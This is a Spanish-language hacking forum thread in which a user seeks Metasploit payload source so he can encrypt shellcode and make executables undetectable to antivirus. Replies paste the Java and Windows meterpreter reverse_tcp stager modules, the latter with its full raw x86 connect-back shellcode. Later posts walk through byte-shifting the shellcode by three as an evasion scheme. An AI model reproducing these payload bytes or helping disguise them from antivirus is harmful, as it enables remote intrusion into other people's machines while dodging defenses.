Hola me gustaría saber donde puedo encontrar el source del payload java/meterpreter/reverse_tcp donde pueda encontrar la shellcode, quiero intentar cifrar la shellcode de un exploit bueno solo era eso.
También me gustaría saber como unir el payload al exploit supongo que me entenderán.
Espero que sea esto lo que buscas este es el payload java/reverse_tcp está en rb
Citar##
# $Id: reverse_tcp.rb 13213 2011-07-18 23:15:06Z egypt $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Java
def initialize(info = {})
super(merge_info(info,
'Name' => 'Java Reverse TCP stager',
'Version' => '$Revision: 13213 $',
'Description' => 'Connect back stager',
'Author' => [
'mihi', # all the hard work
'egypt', # msf integration
],
'License' => MSF_LICENSE,
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'javasocket',
'Stager' => {'Payload' => ""}
))
register_advanced_options(
[
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ]
end
def config
spawn = datastore["Spawn"] || 2
c = ""
c << "Spawn=#{spawn}\n"
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c
end
end
Ok gracias el de windows/meterpreter/reverse_tcp puede ser este?
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
module Metasploit3
include Msf::Payload::Stager
include Msf::Payload::Windows
def initialize(info = {})
super(merge_info(info,
'Name' => 'Reverse TCP Stager',
'Description' => 'Connect back to the attacker',
'Author' => ['hdm', 'skape', 'sf'],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Handler' => Msf::Handler::ReverseTcp,
'Convention' => 'sockedi',
'Stager' =>
{
'RequiresMidstager' => false,
'Offsets' => { 'LHOST' => [ 194, 'ADDR' ], 'LPORT' => [ 201, 'n' ], 'ReverseConnectRetries' => [ 192, 'C'] },
'Payload' =>
# Built on Tue Jan 14 03:04:51 2014
# Name: stager_reverse_tcp_nx
# Length: 287 bytes
# Port Offset: 201
# Host Offset: 194
# RetryCounter Offset: 192
# ExitFunk Offset: 226
"\xFC\xE8\x86\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B" +
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0" +
"\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57" +
"\x8B\x52\x10\x8B\x42\x3C\x8B\x4C\x10\x78\xE3\x4A\x01\xD1\x51\x8B" +
"\x59\x20\x01\xD3\x8B\x49\x18\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31" +
"\xFF\x31\xC0\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8" +
"\x3B\x7D\x24\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B" +
"\x58\x1C\x01\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61" +
"\x59\x5A\x51\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x89\x5D\x68\x33\x32" +
"\x00\x00\x68\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8" +
"\x90\x01\x00\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50" +
"\x50\x50\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\x6A" +
"\x05\x68\x7F\x00\x00\x01\x68\x02\x00\x11\x5C\x89\xE6\x6A\x10\x56" +
"\x57\x68\x99\xA5\x74\x61\xFF\xD5\x85\xC0\x74\x0C\xFF\x4E\x08\x75" +
"\xEC\x68\xF0\xB5\xA2\x56\xFF\xD5\x6A\x00\x6A\x04\x56\x57\x68\x02" +
"\xD9\xC8\x5F\xFF\xD5\x8B\x36\x6A\x40\x68\x00\x10\x00\x00\x56\x6A" +
"\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x93\x53\x6A\x00\x56\x53\x57\x68" +
"\x02\xD9\xC8\x5F\xFF\xD5\x01\xC3\x29\xC6\x85\xF6\x75\xEC\xC3"
}
))
end
end
Y como que el de java reverse_tcp no tiene shellcode ?
Correcto xacibi es ese! por si quieres ver solo te diriges a rapid7 y lo buscas el source del payload, auxiliar o el que necesites. para unir a que te refieres quieres modificar el shellcode existente por otro que ataque otra vulnerabilidad ? o a donde va tu pregunta.
Regards,
Snifer
Hola me refería cifrar la shellcode de ese payload y unirlo a metasploit conozco un método que era sumarle 3 a cada byte de la shellcode pero creo que no es tan sencillo como pensaba porque por ejemplo esta parte de la shellcode del payload windows/meterpreter/reverse_tcp:
\xFC\xE8\x86\
el /x86/ cifrado seria de la siguiente forma:
/x89/
Creo que no me equivoco pero cuando hay letras por en medio me resulta un poco mas complicado, según vi en un libro para cifrarla pasa de /x86/ a /x89/ pero cuando hay letras se trabaja en hexadecimal por ejemplo una shellcode de esta manera:
0x68 cifrada seria 0x6b porque en hexadecimal para cifrar se cuenta de la siguiente forma:
0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f, 10, 11, 12, 13, 14
Pero no entiendo como podría cifrar esto:
\xFC\xE8\
Por ejemplo:
\xFC\ es la original
Pero cifrada podría ser:
\x12F\
Es que no acabo de entenderlo bien.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Por ejemplo:
\xFC\ es la original
Pero cifrada podría ser:
\x12F\
Es que no acabo de entenderlo bien.
xFC quedaría como xFF
Mira esto, puede que te aclare las cosas ;)
http://es.ncalculators.com/digital-computation/hex-addition-calculadora.htm (http://es.ncalculators.com/digital-computation/hex-addition-calculadora.htm)
Gracias creo que lo voy entendiendo pero tengo una duda mas x99 cifrada como seria?
Y las que estan en x00 se tienen que tocar?
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Gracias creo que lo voy entendiendo pero tengo una duda mas x99 cifrada como seria?
Y las que estan en x00 se tienen que tocar?
x99, sería x9C (Hexa es 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f. Desplazamos el 9 tres posiciones adelante, y tenemos c. Si en algún cálculo llegamos a f, pasamos a modificar el dígito de la izquierda, como en cualquier suma xD).
SUPONGO que sí, se deben modificar; pero OJO, sólo SUPONGO esto...
Entonces después de f no viene de 10 al 14 simplemente cuando llega a la f vuelve al 0? Si no he entendido mal.
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
Entonces después de f no viene de 10 al 14 simplemente cuando llega a la f vuelve al 0? Si no he entendido mal.
Exacto, luego del F vuelve a 0 y se le suma 1 al otro dígito...
ok gracias esto me serviría si por ejemplo si cifro la shellcode de windows/meterpreter/reverse_tcp de crear un ejecutable con msfpayload windows/meterpreter/reverse_tcp etc... Quiero decir el ejecutable si tengo la shellcode cifrada sera indetectable ?
O si utilizo un exploit con ese payload sera indetectable a los antivirus?
No tienes permitido ver los links.
Registrarse o Entrar a mi cuenta
ok gracias esto me serviría si por ejemplo si cifro la shellcode de windows/meterpreter/reverse_tcp de crear un ejecutable con msfpayload windows/meterpreter/reverse_tcp etc... Quiero decir el ejecutable si tengo la shellcode cifrada sera indetectable ?
O si utilizo un exploit con ese payload sera indetectable a los antivirus?
La verdad es que no sé... Apenas he hecho algo relacionado con el tema xD. Segúramente algún otro usuario te lo podrá aclarar.